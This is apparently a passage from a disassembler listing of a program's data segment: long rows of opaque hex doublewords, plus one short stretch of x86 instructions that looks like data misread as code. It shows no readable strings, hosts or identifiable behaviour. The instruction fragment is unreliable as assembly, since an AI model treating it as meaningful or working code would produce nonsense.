474F5455h, 6843EC0Fh dd 27A0008Ch, 1A40A9h, 7D017F2Eh, 137534F8h, 5AD37B03h dd 1E9DECh, 64ABFA10h, 34568B46h, 0BB668200h, 6BAD48ACh dd 0EFEC0075h, 0B95FD4B3h, 5FC0EC2h, 0FE120100h, 0A93CEF2h dd 0FC064F09h, 0DB642ED6h, 5B15D803h, 0AB5CB8AFh, 0A9441DB9h dd 0C02D402Bh, 923EE92Eh, 7600F6F8h, 199BB82h, 7A75251Ch dd 4B0A0F42h, 0C200A7D4h, 447B57FCh, 0A38F6950h, 22AF4500h dd 7EDE0930h, 1AD6482Fh, 55F0AC00h, 0BF5405D4h, 5700A975h dd 4B780C73h, 4142ABh, 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h dd 0B8AB6E00h, 5123FA0Fh, 0DE20004h, 61D92B4Ah, 3100A521h dd 7795CE96h, 39411317h, 1ABDAB52h, 6A986280h, 2153CCA5h dd 0AC73F000h, 0BE927D33h, 0C0AE00D5h, 0C7448D3h, 2A000FE6h dd 17D88384h, 749C53E9h, 67C40044h, 0CB21F25h, 0A030E0Dh dd 2A35EAE7h, 4C18E874h, 134B008Dh, 0FEF6CCA1h, 85055729h dd 8CBA9A3Fh, 0C951CE80h, 0B3070105h, 0F9255D02h, 2C81DCD4h dd 0A67C3D00h, 41B5A9Ch, 0B3980A34h, 1CFEB05h db 78h byte_505345 db 0F8h, 79h, 0FCh ; DATA XREF: seg002:off_4507F0o ; seg002:off_4507F8o ... ; --------------------------------------------------------------------------- mov edx, 3EB785ECh inc esp and ecx, [esi+5203A358h] add [edx], ah push ebp or cl, [esi+66h] jle short loc_505379 inc ecx adc edx, [eax] mov dword ptr [ebx-67h], 2806B027h jmp short loc_5053A4 ; --------------------------------------------------------------------------- dd 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh db 5Ah byte_505375 db 0BEh, 83h, 0C1h ; CODE XREF: .data:005053C4j db 26h ; --------------------------------------------------------------------------- loc_505379: ; CODE XREF: .data:0050535Aj mov bl, 6 mov ds:0C307C822h, eax jb short loc_5053A0 sbb al, 8 jecxz short loc_5053A0 or byte ptr [ecx], 0E2h push ss xchg eax, esi mov eax, 0E4B000Dh push es jz short near ptr loc_5053CA+1 sal byte ptr [ebx+2E8390Ah], 1 add [ebx], cl xchg eax, ecx and esp, [edx+7Ah] lodsb loc_5053A0: ; CODE XREF: .data:00505380j ; .data:00505384j push edi dec esp stc dec ebp loc_5053A4: ; CODE XREF: .data:00505366j add [ecx+eax+42h], al movsd or al, 92h inc ecx add [edi-9F4B28h], bh adc eax, 1C4C28EBh adc [ebx-3Fh], ebx pop ebx test [ecx+0D7F0E0h], ecx pop esi pushf stosb jnz short near ptr byte_505375 push esp adc cl, [edi] dec esp loc_5053CA: ; CODE XREF: .data:00505391j or [eax+1F1C800h], esp add dh, [edx] call near ptr 0BF15426h ; --------------------------------------------------------------------------- db 0FEh dd 287C0A6Ah, 5E49002Fh, 92981062h, 972F7908h, 9E74AFh dd 3D024429h, 0E3B9D90h, 0EB0726EAh, 4719CC01h, 74C0315Ah dd 458A006Ah, 16033CFAh, 66002875h, 0BA4B6EA9h, 80FFC3h dd 0FA410A86h, 0F6434825h, 83D84D00h, 8CE02E0h, 1D9A24F8h dd 0BA3F0033h, 3C3B1996h, 2437B400h, 0A0C8335Ah, 2A6400D0h dd 7DA91A7Ch, 0FA904714h, 7A0C2500h, 0CA09E13Dh, 5EA49h dd 5BB9827Eh, 0FC0ADE64h, 20005077h, 34BA8CF1h, 3A4FB80Bh dd 5700D102h, 0B478BF9Ah, 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h dd 0BA008F01h, 94157C57h, 17780A87h, 0F2009077h, 1252988Eh dd 9C2C39h, 0FE3ED711h, 0F7934ACBh, 0B220400h, 64F840BFh dd 0FD820375h, 9C917F70h, 533E2F90h, 74739F00h, 435C6D81h dd 0C7720075h, 0EBD46EBBh, 0CF0FACE8h, 0E0947E53h, 3529DE0Bh dd 0AE4F0793h, 0C073EFE4h, 495750B4h, 4A4E7100h, 53D83854h dd 52450F1Bh, 26410656h, 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h dd 0FF2E102Dh, 1AEE224h, 308298E9h, 0C83A41B0h, 4799B0Dh dd 407F7700h, 3D0F0B76h, 0E13F0087h, 0D3852489h, 0EC00D257h dd 0AF640345h, 481B08h, 224B9133h, 0C87B4363h, 0E178AE78h dd 0B2F63Ah, 11E40D27h, 0F15E084h, 0E93520FBh, 155A040h dd 8300F818h, 8A0EF3E1h, 3E7630ECh, 0B207F053h, 709217F4h dd 0F8347B59h, 0DF031E74h, 6552AC29h, 0EFF38812h, 6BC003F2h dd 3BC5600Eh, 649D9298h, 0F00767E2h, 4654FC08h, 8E31E250h dd 65F27Eh, 0A11CEBD8h, 4E1F0415h, 4FC4B803h, 0B937036Ch dd 6E30F9B0h, 2B130091h, 21BF5DE7h, 9C009744h, 61C8427h dd 806477h, 0C3695399h, 226F0991h, 8B447D1Eh, 12A789C0h dd 0C82CB5h, 0ED46BBAh, 5B9FEDD9h, 0A21D3700h, 0E0D5E230h dd 0FE86000Ch, 0F80EFF54h, 8A1D1CA7h, 71C0B110h, 40231B28h dd 6F9B014Ah, 57B42C33h, 6B72D813h, 61A20900h, 74797D92h dd 9F833E49h, 64F7600h, 41B10CBCh, 61FC6400h, 65633B6Eh dd 19200029h, 503CDEA7h, 0E4FF6D6Fh, 64004515h, 0B84F3D69h dd 0D0E4ACh, 736566D3h, 612D8AE3h, 0C4186C00h, 0CE444D11h dd 8E3A03CBh, 4A86EA6Eh, 0BBB8BEB8h, 0B926A501h, 9CB2128Bh dd 0B864CBE3h, 90940975h, 0E2320AF1h, 7CDCDE5h, 20BB3976h dd 0B70F4540h, 975C5D24h, 18218039h, 0BAA728B9h, 72EB003Ch dd 99D7841Dh, 931E0E12h, 4F81348Dh, 1A49BEA2h, 55817C4h dd 0DB849B0Fh, 0B9C7C093h, 99002F64h, 0BBF94BF7h, 1C194D2Ch dd 0C0A7B245h, 9ECBF373h, 0F3984408h, 8E53143Ah, 48DD56h dd 2A88FC95h, 3C5C4887h, 45542100h, 0F509764Dh, 4F26B600h dd 8FEED912h, 0C21000C0h, 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh dd 0FB3D421h, 0F0B05457h, 0B534C627h, 9A9800D8h, 0C91A8F7Eh dd 79FF3600h, 0D35DF2E9h, 530B018Ch, 974C4450h, 0F07D21D5h dd 2201B964h, 0F47BB41Bh, 25E0FB16h, 0C6940088h, 8018829Dh dd 757BFE3Bh, 2636DE07h, 731510C1h, 8D0874C1h, 0FA8CC870h dd 94F7FA3h, 0A804BCEh, 0F00988Eh, 4388C094h, 4E750161h dd 57D874D3h, 0ABC300AEh, 0AB06933h, 5C1D5116h, 0B840A7F2h dd 3B534108h, 387D0130h, 9D4AC2F4h, 72CAF407h, 8F8D0C02h dd 0E0DEC312h, 74F8DA2Dh, 856F0EDCh, 0B12BD3Ch, 5DFEADh dd 42409723h, 31C2008Ah, 0EB18F98Bh, 270F3A10h, 0C0097221h dd 805703D5h, 75B907FAh, 90B389BBh, 9C159C7h, 0D4310F00h dd 1398C44Ch, 3047D83h, 5570C09Bh, 0D0E70EC8h, 12BC62B8h dd 0CAD95200h, 1005DC46h, 0B08C00D8h, 1FA4D030h, 6726D443h dd 0F601AF27h, 834807E8h, 24A814F0h, 3D7538Dh, 0F719B752h dd 0C01BD890h, 38840800h, 2761012h, 56E90009h, 33557EA5h dd 6E1C8B78h, 5DC08F92h, 0E805D0D6h, 0B94800AFh, 0A124B767h dd 0F500E9BAh, 18EC0C99h, 12A95A8h, 0AC0E495Fh, 0D8727D81h dd 0FD007F63h, 480FDF05h, 2EA4BF17h, 70A42E5h, 30EB3014h dd 8CB8E88Ah, 9C472C3Fh, 9BC03BE6h, 66AB55Fh, 0C455008Bh dd 24A7FA5Ah, 787BF1E9h, 0E1723200h, 0EA103D17h, 3484C0E6h dd 0E52DF454h, 1A8C2114h, 0BC08009Dh, 3D3AD490h, 0A4B10382h dd 65DF7201h, 0C76ABDE8h, 0DC67F00h, 0A550F246h, 16A60081h dd 7322E2E6h, 7C3BCCB8h, 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h dd 0F202131Eh, 0A0A30109h, 0FC799286h, 200012E1h, 6DDFA418h dd 7A5699F1h, 429800E0h, 10F9C0Eh, 8C0135D8h, 0DEBA8BB6h dd 0CC8F85F9h, 33C076E4h, 0D040B45Dh, 0D4961900h, 6138A03h dd 0BEF93C48h, 944E6F80h, 2C77B540h, 0DC752000h, 0D7E5F303h dd 7D8324C0h, 740F00DBh, 8EC8A38Ch, 703D155Ch, 48D3F00h dd 99C62B5Bh, 0C2750033h, 32F546E5h, 97008F22h, 2CC86692h dd 3D81D140h, 9183D80Ch, 4B0A5B6Bh, 4CB8490h, 1941CA00h dd 8345A0EAh, 0B4B80A62h, 81AE1Eh, 6461C8BCh, 0DC009877h dd 0CDC003EDh, 6280F0h, 31E075EEh, 7C7E06FAh, 3EE66D58h dd 30AA0044h, 8D985EE6h, 18890235h, 5808050Bh, 810972C0h dd 0DB033Fh, 8F8B9B1Ch, 4BC32Bh, 2A299671h, 621A40FFh dd 50845500h, 0D009A40Ch, 4CE208h, 2F58E830h, 71B64F69h dd 0CAB03C00h, 20C463E9h, 94BC2441h, 0F61E3Ah, 8B28BB3Ah dd 48010537h, 2C438319h, 42301221h, 14660030h, 16BE8B50h dd 0FE00344Ah, 7B80DE02h, 0D6C103h, 0F2B0576Eh, 0EA52BA68h dd 5900D5ECh, 0F84E8D6Dh, 6C0394Ah, 7705F980h, 49FAFC51h dd 1904DAFAh, 1708B710h, 29C01E87h, 0B8913248h, 89560009h dd 33EB684Bh, 7A1CC72Bh, 6E407980h, 1081322h, 88191D90h dd 1E101D02h, 3E071E04h, 0CEF62780h, 0DE89F1Bh, 850F240Bh dd 8A3980CCh, 73E43h, 1D74052Ch, 4F83C8FEh, 0F50EE3Ah dd 0D488FA08h, 842E00BCh, 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch dd 87000FC6h, 369C37B7h, 48F38918h, 8009939h, 0C8C111ADh dd 8E00D509h, 14550E9h, 0FA1833FDh, 25F822h, 367B8D05h dd 0EB1354BEh, 5C9DA30Fh, 17E980C3h, 14801ABh, 425E8414h dd 0EDE4F2B4h, 5CBCE488h, 74F244F2h, 5026A9F2h, 57038171h dd 0B80B20EDh, 3E548602h, 6583C976h, 37A608BAh, 0CEE4B898h dd 0B9364404h, 1380810Ch, 7614868Ah, 5D450349h, 97D45942h dd 0BDA400F5h, 93208BF1h, 0E807CC98h, 2D121AD3h, 864814C0h dd 0A9910077h, 0EB2A8A3Bh, 11012C3Ch, 1408F534h, 68F85F64h dd 1B3B0178h, 0BE0A0960h, 5310601Dh, 0E200287Fh, 4A4B9734h dd 9C5A7h, 91160722h, 0D40B944Fh, 0ED145Ch, 136DA48Fh dd 0E274067Ch, 4409000Eh, 3E882E1Eh, 500056EBh, 0B7C4A28Ch dd 33C6A65h, 0D689AFF7h, 0E6A01499h, 6300ACD9h, 4D4BFCB8h dd 0BADCFFh, 0B2365C43h, 0EB2B5A20h, 7CD7F07h, 47332C0Ah dd 81069017h, 1D3A9024h, 4014C95Fh, 0E57C115Dh, 4C00210Eh dd 3BF23C10h, 264B22BCh, 19142Ah, 74D807C8h, 900785BEh dd 68B2A4F0h, 0E6BB4160h, 9FB0000Ah, 0BCB95D09h, 0C3004916h dd 25856C03h, 0C4001h, 36383420h, 0B6587644h, 630011ECh dd 0B5C2EF75h, 14302B01h, 0ECFA5390h, 2E0F323Ch, 0FD660D4h dd 80BDCAE7h, 7257865Fh, 2DE06269h, 63614200h, 6E45206Bh dd 3568005Eh, 56A47A57h, 3400291Ch, 505B7660h, 695D03h dd 2F856D75h, 0D4309401h, 535E3Ah, 0C2E349BCh, 436517h dd 0B6B2BE1Ch, 6D90B56Eh dd 58007298h, 307053EFh, 3B314BADh, 3752DA5h, 0DCAFB590h dd 11905098h, 4D002809h, 8C27646Fh, 295525h, 0A534482Ch dd 0CD9AFAD8h, 6B019D07h, 5070AC53h, 0FC75DEh, 6AD25930h dd 4264A128h, 8B83BF12h, 1978E000h, 760A464Eh, 0A7091DE5h dd 0A87C4027h, 0F67E704Fh, 804A0200h, 0CC5B89FCh, 8A787Dh dd 0E0B9C45Eh, 0E3820A73h, 582F262Eh, 58BED000h, 210F37Eh dd 69E0BF80h, 8DD4468Ah, 0A074020Eh, 50137D09h, 0B01E005Ch dd 114B9487h, 0E43AE021h, 0C010003Ah, 0B4292E0Eh, 0DBC307E5h dd 0B0481732h, 0BB46B33Ch, 6B00E2F0h, 5AA2F9BFh, 49655Fh dd 479430Bh, 4CCA7831h, 2000E698h, 76324D58h, 0EE476113h dd 957C002Eh, 0D8363930h, 1B776ACDh, 0B60017B8h, 4A53E8Eh dd 584D5Ah, 5E2D48Fh, 93D30A29h, 0BF00CB7Ah, 0C1901512h dd 7850B346h, 9443072Ch, 117ABC49h, 0C0F78498h, 3000540h dd 8788021h, 0E8F0110h, 0EAA90750h, 0FE09BBC1h, 0E9D260CAh dd 0B1793113h, 2078E700h, 3E429C7Ah, 8880C6C1h, 0C0219829h dd 832E084Eh, 2D00F9FAh, 2E10BD87h, 40B73F95h, 96DFA6h dd 5B0799F3h, 6DEE9118h, 3AEA29F4h, 454CB190h, 0CC51007Bh dd 0FC14A13Eh, 2CC41C0Bh, 50EB80C2h, 875C1175h, 88649002h dd 0E353798Ch, 42123C7Eh, 31BCECBCh, 0C3431C8Fh, 4C442000h dd 84790F3Ch, 18937C0Eh, 804D4F22h, 896F5C91h, 0B440016Dh dd 290E5228h, 7972E820h, 22351803h, 0B985ADF4h, 8AE04B2Dh dd 302C0ED4h, 0DC60A9D3h, 32FC3143h, 33F98700h, 0F124E50Bh dd 0F57C03CBh, 0A7133026h, 0C13B7B98h, 32A9201Eh, 3342F680h dd 3955E8h, 6F1D6B6Eh, 71205B77h, 0F43AA702h, 0C075304Ah dd 76968CBh, 587F8470h, 0C3E4435Ch, 6007E8C3h, 0EC100146h dd 6404B290h, 0F0F251h, 725411D8h, 736E6103h, 74656D00h dd 437C19B6h, 775727Bh, 0DC34916Fh, 54CC429Dh, 8AABD540h dd 320B9501h, 5C19580Ch, 0F8EB60D1h, 984662A5h, 0C627018Eh dd 86774B85h, 2370E80Eh, 72116F01h, 75C47488h, 0F2C7E0h dd 3641378h, 45287C14h, 780521Fh, 0DC008496h, 0E8C0C68Fh dd 570400ABh, 32517353h, 76765652h, 0FAB32F04h, 218068DBh dd 1624884h, 17A915Dh, 0EC18203Ah, 0FC1C89A2h, 3C5FA468h dd 559F8CC0h, 4D0390h, 0C87D8194h, 716E6547h, 1B6F7500h dd 1E69EF12h, 90493B9Eh, 0AF942785h, 70FE808Dh, 331F8471h dd 41C069EBh, 0D6874F9h, 94101C38h, 0A3634724h, 30451ABh dd 9152E4EBh, 3C755803h, 90784989h, 772D5C0Fh, 8E8F0733h dd 102A6461h, 0EB024124h, 8248110Eh, 0F8832080h, 9565095h dd 0B657E90Eh, 0A524807Dh, 0D0FDC2h, 9CBD2A2Fh, 8C463F4Fh dd 1A029100h, 0B0ACB878h, 0F2957622h, 0E85D0088h, 0DD27771Fh dd 0C1007B69h, 873DF441h, 50D3622h, 3E25C889h, 4B8C042h dd 0F03F6373h, 80C3BB84h, 0E0833074h, 88480Fh, 0D9E5D553h dd 0B1AB39CAh, 1AB2E90Eh, 0ED9B432Ch, 0A41FB022h, 2F3077Fh dd 30B62A12h, 1A93867h, 59510A0Fh, 658FA0B8h, 1C1745FEh dd 7F06BD80h, 5FC1759Eh, 40A21D66h, 5121DD84h, 43008D8Ah dd 2B52A19h, 0CB7516h, 69307659h, 80E06704h, 0E9E46D00h dd 4CD2AA13h, 0DBA41F7Eh, 0B39002Ah, 0B0A5DACFh, 0F9708A00h dd 0C114EE6Ah, 557097D5h, 0E53E901Dh, 8F079C5Dh, 5480A808h dd 282993h, 915BA5A7h, 45A9664Ah, 5D00067Ah, 0AA4085A6h dd 4B829AEh, 2B641F03h, 0B6AB8072h, 0BEE8BA08h, 0C3CDCFBh dd 0C2408E03h, 83CA81C6h, 8705E0CEh, 18ED009Ah, 4C331E45h dd 48000666h, 10EBC1F6h, 18F44E0Fh, 0AECF25AAh, 4301B738h dd 1E3F7EA1h, 0E1D08A11h, 30AEE96h, 5A607CB1h, 45A8C5EAh dd 157AE66Bh, 0ACE22A1Fh, 0DE0F5280h, 16ABA8D2h, 35EEC80h dd 5B7A592Ah, 19CD58A8h, 8C55D800h, 0E89F51B9h, 0B7280016h dd 5CBA0B4Eh, 4801FBC9h, 1B8D108Bh, 0A6D8E974h, 0FC7540h dd 0AD9B914h, 354A5C20h, 44008874h, 73102B74h, 7658B2AEh dd 0BC30E717h, 1C0D0059h, 0EBB0404Bh, 1A075E65h, 21322A54h dd 0ACA41040h, 0B34500A7h, 0B4114E6Ch, 98F019C9h, 9C3040BDh dd 1E5700B6h, 8C3DA1BCh, 0C000BEA0h, 7D258D13h, 73B30A2h dd 0B5F8FB8Bh, 0C0FA67A3h, 22C33657h, 0D2C94D00h, 8CBFECFh dd 17AB0082h, 0EA34DC5Dh, 87002C45h, 597E294Bh, 1184A1Bh dd 0BA9444CBh, 0F732B937h, 78921207h, 6E9473E4h, 3582CA09h dd 0B1404D54h, 30FD3896h, 285C0CFCh, 83090115h, 5054A4C4h dd 0FECB59C4h, 0B08D0016h, 0BA2DC935h, 7E0EEE24h, 0C0501FCFh dd 0A016484Fh, 5EA30096h, 8771D7D4h, 0D87E85F4h, 1CDC0800h dd 0B1569FA2h, 869400E4h, 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh dd 1100B26h, 3D801499h, 2AE15B18h, 0A4EFB0h, 98CE92BFh dd 7E591277h, 0B409C401h, 25A656A3h, 0F26AC9CCh, 0C8CD002Fh dd 8821AF1Ch, 191ECA9Bh, 99C0A543h, 0DF09D611h, 0BEE85C10h dd 0F101330Fh, 3BFFA6Eh, 221A390Ah, 0F8442AA9h, 0EB00883Ch dd 5C61976h, 2601E7A0h, 0FA96DE5h, 4321DFA4h, 0D15B20A8h dd 0E152D1ACh, 4249E0B0h, 0E65B800h, 391048BCh, 0CC00059h dd 0C4908529h, 156719C8h, 54F02006h, 722CCh, 3209D081h dd 0CB60C41Bh, 4F2EAA00h, 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h dd 3B00E2EBh, 65AC82EDh, 923B5F00h, 0FC0A7185h, 0D27E9564h dd 0F02CF406h, 0B7EC0076h, 0DFFE3862h, 6A3E4307h, 0E432005Bh dd 0DDE01472h, 42120045h, 2934CC06h, 1EE42D83h, 5C1A0102h dd 0E0406F2Ch, 0B0A26E1Ch, 0C5CC00C3h, 0ED540C51h, 0E7A9333h dd 8DA56600h, 9D35EF40h, 14EEAE8h, 8FDDCEEAh, 0D4C709D2h dd 0C60FE099h, 0E02AB67Ah, 0D62B49AEh, 2F580051h, 3DC255D0h dd 11DBD03h, 0DC005C77h, 64BCD3B7h, 0F9532610h, 80FD0001h dd 870D048Fh, 0BF2A9E03h, 0A04FA86Bh, 0AC6865h, 40C683D1h dd 0B0F8608h, 1448C0EEh, 0A5AD0063h, 642D24FBh, 580203F5h dd 76DB850Ch, 21C144C0h, 4BCD8600h, 0BC7C247Fh, 0EF07A4Ah dd 56107005h, 3D0C36E3h, 0DF5144D8h, 6E297A00h, 8833022Bh dd 75080042h, 1643C394h, 0E047953h, 122147E8h, 7F90B6C0h dd 519800A2h, 2E1E25E2h, 8000F6F0h, 0DD3C7869h, 1D2A38D2h dd 55204h, 0C981D868h, 7E0010B4h, 0BFEB6582h, 3BB0925h dd 4B594CE0h, 56A8F05Ah, 72006116h, 48ADF846h, 2D9F7Bh dd 4BE70193h, 0D7A7D4FBh, 7906C3Eh, 0E46EF854h, 0DDEBBD51h dd 703AC70h, 44BCCCF7h, 78E6304Bh, 11007F6Fh, 64DFCEE9h dd 731724B4h, 886A0758h, 0D06023D6h, 0C4709472h, 0BE27D21Fh dd 68950C0h, 4F0CAEh, 2F22F114h, 244EC8DDh, 0E4082112h dd 8C6C8000h, 2CFEF084h, 0CAEE65h, 1625DCF4h, 3400AA11h dd 6A9488F3h, 0ABCF4Fh, 54801B6Ch, 7765AD7Bh, 31C56800h dd 2C59958Dh, 57EF1DB0h, 6B5C7F1h, 0F79CF70Dh, 12AFA14Eh dd 0EBD0DC69h, 3A294100h, 8D8263BCh, 0F87885h, 1975809Ah dd 92D2FCF4h, 0D1411300h, 0FEEC5D43h, 9DD000E4h, 5F0B0879h dd 50E41E5Bh, 856D7100h, 0F7659784h, 1294004Ah, 2224CA1Dh dd 5C0B0810h, 80727453h, 0A5AB2D16h, 0ED750027h, 6918A4E4h dd 0C0008906h, 0A7BBA8A9h, 4A82BEh, 30145D0Dh, 6D6F431Ch dd 34876500h, 712C0A73h, 880B39ECh, 0C170C400h, 0D34E7909h dd 8064523Fh, 2BD01884h dd 0BA40F22h, 28447291h, 4C9D7B80h, 0D30E3770h, 0E0D8A5BBh dd 25876C33h, 927900DEh, 12633018h, 0C848D48Bh, 0ACBC00F4h dd 178DB6C4h, 0E031FAC2h, 0ECB2002Fh, 69540BCAh, 0EA0F4556h dd 24985980h, 0A2800C89h, 0B87212h, 56AD536Ch, 30C88ADCh dd 0E445400h, 6765354Ch, 0E109005Ah, 0C95BC370h, 4B017468h dd 0E0F82930h, 27D8ABF2h, 87640018h, 6BC58E6Dh, 0C8F72873h dd 0B200D142h, 0B14F2610h, 9055E5h, 947AC427h, 814475Ah dd 0D6D18001h, 0EA25F46h, 6016CCh, 295CC595h, 2EB06488h dd 90E34B16h, 0DCC47F00h, 7C44D148h, 0ABF07EDh, 40B36965h dd 12B47542h, 806C643Fh, 30D2520Ch, 72EB8F6h, 14257669h dd 8B59165h, 24FC4E0h, 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h dd 31A1866h, 88104619h, 0C8064301h, 1890141Bh, 2E9104E0h dd 73A381Ch, 50AE961Ah, 0D27CB865h, 29339F00h, 13AB9C4Ah dd 1038000Fh, 2E642B25h, 14F02703h, 87D2AD00h, 53588011h dd 0FB478B1h, 2190DF3Eh, 5CC0A74Eh, 3181779Dh, 0F80BF0BFh dd 79E107D9h, 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch, 0EDBBC044h dd 588AD620h, 0D3004703h, 0D501B5A7h, 0B8008302h, 0AE3D4FFBh dd 0FA34D4h, 0E2C87232h, 0C9128937h, 8CB7D901h, 0F188A18Bh dd 5562D0h, 9C01451Bh, 0D35B279Fh, 80FB1D3Ah, 504108D1h dd 32A5251h, 0EB1069ECh, 588864C2h, 3C00B3EAh, 5E575684h dd 38A473h, 0C29887E9h, 145A52E6h, 369FB40Eh, 0BF2B0Fh dd 8E1F3EACh, 471000Bh, 0FD27CCFEh, 5F01AF12h, 38EA1CD1h dd 0C0D44754h, 34560039h, 0FF3A3374h, 811ECC76h, 470EC322h dd 0BA805D4Ch, 809044Dh, 3C0F0370h, 6F7788B1h, 298BB6B8h dd 69DE7503h, 0FA99554Bh, 3654E00Ch, 2B4300AFh, 0A5D4459Fh dd 0AD010576h, 1912BEF4h, 0F0D0A2E2h, 15261D90h, 8043DE0Eh dd 0C1695D8Ch, 2A019402h, 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh dd 0C0E0047h, 7E2146D2h, 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h dd 0D9A50077h, 0CEB62A4h, 3F002171h, 1711DBA7h, 686C6Ah dd 74D83BC0h, 0AECB8316h, 0A6F70400h, 4512A028h, 0C26A00F0h dd 4FDF77E3h, 290024ABh, 48165D4Bh, 0B00C06C3h, 0CE090C9Ch dd 66B23908h, 0D7CA890Eh, 907A8085h, 0FF0AA6h, 1184872h dd 6CC1EBCEh, 595C2300h, 0E26A90E5h, 3A8100A0h, 2E1977D0h dd 6F009B89h, 4B2BC48Ch, 88FBC2h, 0B483075Bh, 0FFB09281h dd 0EE604504h, 5700CC17h, 5882FEE9h, 58474048h, 2E10033h dd 0C1F5FA2Ch, 6B5E0175h, 0A0F168D8h, 2D6320C4h, 0DCA13C00h dd 1F061CE3h, 7EBD0043h, 4194D48h, 0FA008001h, 5302BB05h dd 3C32EBh, 9D2CAF41h, 27450618h, 82206A60h, 7A28AFEh dd 4C50FF5h, 0C7838088h, 541F4802h, 95C0CF43h, 13C144Dh dd 0D9495C30h, 34D9AA00h, 8448E36Bh, 3DC93200h, 0B95E882Fh dd 12760391h, 3B7421BAh, 72FC3AF0h, 6A838C00h, 0C7F2F449h dd 0B2900010h, 30393DD6h, 96007370h, 0BFC28BD2h, 0E698FEh dd 0C6126CF4h, 5D4A2404h, 935B801h, 3B5564BAh, 0E0FCADF5h dd 0FE840042h, 0F3C07489h, 0B405ED33h, 5F77087Eh, 0E681C280h dd 0FE103B8Ch, 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h, 47174A00h dd 0E388559Fh, 0B19011h, 8BA71F0Dh, 8577F8BAh, 81A09E4Ah dd 115F00D0h, 0C53B2BF1h, 2C022452h, 0FF6AE477h, 0B6D5E054h dd 0B9D400DBh, 86E7226Ch, 7E7D7428h, 52897F05h, 0BE0092ADh dd 1D8D70EBh, 661A1D98h, 850580D6h, 28215346h, 4D75E207h dd 40903E9Ch, 6132CBh, 6F881931h, 0E655697h, 6AE91F05h dd 0D60E03AEh, 0C622E005h, 0AB2550h, 121DA511h, 0AF0A5406h dd 1244C00h, 77714FDh, 68FE6303h, 5E05B8Ah, 5F3B5D62h dd 0A25A03B3h, 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h, 4E7FDED9h dd 10F688EFh, 41CC2000h, 22496F5Bh, 196A00D8h, 92F53942h dd 54015DE7h, 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh dd 0B8F0D860h, 0C4DA1400h, 5309FF65h, 5AEE0Fh, 0AA2BBB25h dd 0A4290532h, 44EC3700h, 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h dd 5800EF32h, 19F7EAA7h, 0F8BD7076h, 223B00D7h, 2C683603h dd 2E008D66h, 0C74543E4h, 0EA8271h, 7802F45Fh, 33CAE055h dd 0BD49F300h, 30AE2040h, 17DC0053h, 0E251606Fh, 230722D8h dd 68D413C0h, 0DEE7A627h, 0D0C4A3E0h, 6F730348h, 9BCCA251h dd 8FE87AEBh, 763BC812h, 1AF50710h, 0B7D7C429h, 0C0F1A8D1h dd 0C81BD3FCh, 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh, 1E42B036h dd 4303B022h, 148D7A37h, 0E8DBE3ACh, 3EA878D4h, 1FF49C8Bh dd 5F4DA4D1h, 884740BDh, 0DEB790A0h, 0C19C4CC8h, 12E74398h dd 0A5691094h, 0F75C2C00h, 84DA04D8h, 12EEFE4Eh, 7BFD5C4h dd 943DA9ACh, 61BBC007h, 40004E70h, 2571626Bh, 3B691C65h dd 0FF007775h, 57ADCC67h, 0BC002C9Eh, 0DAE74272h, 0C34316h dd 0EB22354Eh, 1D6CD5CCh, 13D895h, 3768B8B9h, 0C5648DBh dd 0D8BD0B00h, 41FA4E4h, 5FE800D6h, 0E3FE0146h, 0E2F4297Eh dd 0F44D6200h, 17B11E9Ch, 0A5C00ACh, 4FF2C727h, 1B002910h dd 0DA6CB74Ah, 3E3BA908h, 5F8346C2h, 0EE58E276h, 515EB5E0h dd 30E1F43Ah, 3E1378D4h, 0A8BC0020h, 0DA9057A2h, 8504DC36h dd 341D0425h, 53DD6FC0h, 0F982008Fh, 0E9A7AAA3h, 4B005DC9h dd 5B30D398h, 78E83Dh, 0F7700651h, 0D91E148h, 0A3184700h dd 3D83438Ch, 0C9FEA2h, 0ECC28EF4h, 0DBF12124h, 3A14538h dd 6838801Ah, 0AAAA875h, 94431FFDh, 6E90004h, 0C525A2D9h dd 0E88660E3h, 2AD0AF60h, 0FC2336h, 6E3BBF7h, 1DF8682Fh dd 0A0F4EA00h, 86C42B13h, 0A11C0721h, 0C1768528h, 0F4176984h dd 7007A41h, 954DBE5h, 0B44AE3h, 9E151AA0h, 0CA2B89B6h dd 458BD401h, 952AA2B8h, 1D6B0F20h, 40E2F343h, 4B2FDC3Dh dd 970192FBh, 7C67F55Dh, 71F07908h, 89AF0F84h, 34228CD4h dd 0E3E35465h, 87EB50EBh, 25FF16F8h, 0C0F84400h, 1C401099h dd 478E003Ch, 91342338h, 2C00C830h, 247228E4h, 0E21C2039h dd 18412D8Eh, 3F30D4h, 0A4C4B4A6h, 3E6D29DDh, 5002814h dd 94E8F35Ah, 0B5F2BF4Fh, 8404D000h, 0B05F76D2h, 0C9440081h dd 5DA1708Ah, 8000FC01h, 2EFF0B7Ch, 0FED175h, 7D3944BDh dd 4C740482h, 9B3FEB00h, 7B8AF19h, 0D0C10080h, 40B2E937h dd 13009839h, 29D8B60Fh, 3BF7750Ah, 5C0AE0BFh, 1E964E35h dd 0CB02C121h, 0E8A5E983h, 410072FBh, 880F7F0Ch, 2402C4Ch dd 75CAFE0Dh, 0AFC0DAA3h, 0B10023F9h, 6E22DDABh, 0B540F6h dd 51E29456h, 2DC5BE53h, 69DE0F2Eh, 0E72CC400h, 0F8D2B8CCh dd 0BE190175h, 0C7D9BA29h, 8205D4ADh, 4A10700h, 182B376Ch dd 1688006Bh, 22F35EDEh, 531C4FD7h, 0EDD2C220h, 7998B900h dd 28FF6B26h, 0BC2CA6h, 0C7031E14h, 0A406D950h, 7E0CBF1Dh dd 0D82B0D47h, 4AC0F8D7h, 422ABE3h, 2C71C582h, 0E4888032h 